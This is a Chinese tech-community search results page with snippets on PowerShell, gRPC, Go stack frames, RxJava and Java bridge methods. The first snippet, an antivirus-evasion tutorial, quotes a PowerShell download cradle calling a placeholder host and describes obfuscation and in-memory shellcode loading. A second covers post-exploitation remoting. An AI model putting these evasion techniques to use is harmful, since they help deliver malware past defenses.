首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Powershell免杀从入门到实践

    团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。...绕过执行策略 powershell 可以通过绕过执行策略来执行恶意程序。 而从文件是否落地可以简单分为落地的bypass、不落地的bypass。...Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')" 从免杀上来说,查杀比较严格的当然是不落地文件的这种方式。...处理powershell 利用cmd的混淆以不同的姿势调用powershell 如利用win10环境变量截取出powershell %psmodulepath:~24,10% 处理IEX 为IEX设置别名...那同样可以从远程文件读取shellcode,并加载到内存执行,来实现payload无落地。

    2.9K30

    从Linux到Windows的PowerShell远程处理

    前提条件 1)后期利用期间可以通过目标NTLM身份验证 2)重启WinRM服务 3)使用此NTLM支持PowerShell Docker镜像到Linux的PS-Remote,您可以从Linux到Windows...不幸的是,由于PowerShell Core的Linux分支支持的身份验证机制,从我的Kali Linux远程连接到我的目标并不是一件容易的事。...幸运的是,我们可以选择将自己添加为目标配置中的“TrustedHost”,这将允许我们执行NTLM身份验证而不是Kerberos,因此无需从域上的系统进行连接。...如何使用从Linux到Windows的PowerShell远程处理 本节将逐步介绍如何从Linux客户端到Windows目标建立远程PowerShell会话。...这是在Enter-PSSession设置阶段使用NTLM身份验证所必需的,这是唯一可用于通过PowerShell远程连接从Linux连接到Windows的身份验证机制。

    2.1K20

    powershell:调用7z,haozip解压缩文件

    因为windows内置了zip格式文件的解压缩,所以powershell中可以直接调用powershell的函数就能实现zip解压缩....利用powershell内置功能实现zip解压缩的代码如下: # 调用powershell内置功能解压缩 $package 指定的 zip 文件到 $targetFolder # 如果 $targetFolder...$shellApp.NameSpace($targetFolder).CopyHere($files) } 但是在powershell下对其他的压缩格式(.7z,.tar,.gz,.rar….)就需要调用第三方工具来实现...7z和HaoZip(好压)都提供了命令行解压缩工具,所以可以利用7z或HaoZip来实现 利用7z和HaoZip(好压)实现命令行解压的powershell实现代码如下: unpack.ps1...[压缩包文件] PowerShell解压文件工具 选项: -p,-package 要解压的文件(.zip,.tar,.gz...)

    3.7K50

    从源码透析gRPC调用原理

    其中,greet_client和greet_server文件中分别是grpc客户端和服务端的业务调用代码,包含了一个标准的gRPC调用过程。...总的来看,调用的过程基本就是分为三步: 创建connection 创建业务客户端实例 调用RPC接口 { ... // 创建connection conn, err := grpc.Dial(address...func WithBalancer() DialOption func WithInsecure() DialOption func WithCodec() DialOption 根据client的需求,调用方在调用...: grpc server graph.jpg 总结 上面的就是关于gRPC调用逻辑的分析,gRPC中的代码十分复杂,本文只涉及了其调用逻辑的分析,在分析展示源码时,省略的一些错误处理或者数据处理的代码...,而侧重于逻辑调用的过程,从而在使用gRPC的时候可以更好的理解其原理。

    18.5K126

    从栈上理解 Go语言函数调用

    0x000f 00015 (main.go:3) SUBQ $32, SP 在执行栈上调用的时候由于栈是从内存地址高位向低位增长的,所以会根据当前的栈帧大小调用SUBQ $32...综上在函数调用中,关于参数的传递我们可以知道两个信息: 参数完全通过栈传递 从参数列表的右至左压栈 下面是调用 add 函数之前的调用栈的调用详情: [call stack] 当我们准备好函数的入参之后...小结以下栈的调用规则: 参数完全通过栈传递 从参数列表的右至左压栈 返回值通过栈传递,返回值的栈空间在参数之前 函数调用完毕后,调用方(caller)会负责栈的清理工作 结构体方法:值接收者与指针接收者...AX 里读到内存地址,从内存地址里拿到值,再读到AX 0x0011 00017 (main.go:22) ADDQ "".factor+16(SP), AX ;;...AX 里读到内存地址值+8 ,然后从内存地址里拿到值,再读到AX 0x002b 00043 (main.go:23) ADDQ "".factor+16(SP), AX

    2.1K30

    RxJava && Agera 从源码简要分析基本调用流程(1)

    (本文基于RxJava-1.1.3) 一.用法 首先来看一个简单的例子: [image.jpg] 运行结果为: [image.jpg] 从结果中我们不难看出整体的调用流程: 首先通过调用Observable.create...()方法生成一个被观察者,紧接着在这里我们又调用了map()方法对原被观察者进行数据流的变换操作,生成一个新的被观察者(为何是新的被观察者后文会讲),最后调用subscribe()方法,传入我们的观察者...,这里观察者订阅的则是调用map()之后生成的新被观察者。...onsubscribe,等等,这个hook是从哪里冒出来的?...下篇将继续从"线程切换过程"开始分析 文章来源公众号:QQ空间终端开发团队(qzonemobiledev) 相关推荐 下一篇:RxJava && Agera 从源码简要分析基本调用流程(2)

    9.2K10

    从编程小白到全栈开发:服务的调用

    我们在前文 《从编程小白到全栈开发:基于框架开发服务端》中,初步学习了如何使用Node.js服务端框架Express来编写后端服务,并基于Express,对我们先前的简易计算器程序的代码进行了一次重构。...不过,从程序本身来说的话,客户端的定义就会广泛许多,来看下图: 在该图示意的系统中,我们有多个后端服务(在一个实际的软件系统中,这个是非常常见的),这些后端服务之间也会互相的进行调用;后端服务也会调用其他第三方提供的服务.../ 获取id为num1的输入框 var num1El = document.getElementById('num1'); // 从num1输入框获取文字内容并转换成数字类型...在Node.js中调用HTTP服务 看完浏览器端的调用,我们再转到服务端来。在Node.js的服务端代码中,如果要发起对其他HTTP服务的调用的话,Node.js提供了一个叫做http的模块。...欢迎关注一斤代码的系列课程《从编程小白到全栈开发》

    89240

    Spring杂谈 | 从桥接方法到JVM方法调用

    ,我们不妨大胆猜测,在这种情况下,是因为JVM在进行方法调用时,没有办法满足我们的运行时多态,所以生成了桥接方法。...要弄清楚这个问题,我们还是要从JVM的方法调用说起。 JVM是怎么调用方法的? 我们应该知道,JVM要执行一个方法时必定需要先找到那个方法,对计算机而言,就是要定位到方法所在的内存地址。...因为目前我们关注的是方法的调用,所以对class文件的具体结构我们就不做过多分析了,我们主要就看看常量池跟方法表。...如果大家感兴趣的话,推荐阅读周志明老师的《深入理解Java虚拟机》 ” 字节码分析 接下来我们就通过一段字节码的分析来看看JVM到底是如何调用方法的,这里就以我们前文中第一个例子中的代码来进行分析。...其实就是编译器对JVM到JAVA的一个桥接,编译器为了满足JAVA的重写的语义,生成了一个方法描述符与父类一致的方法,然后又调用了真实的我们定义的逻辑。

    1.6K20
    领券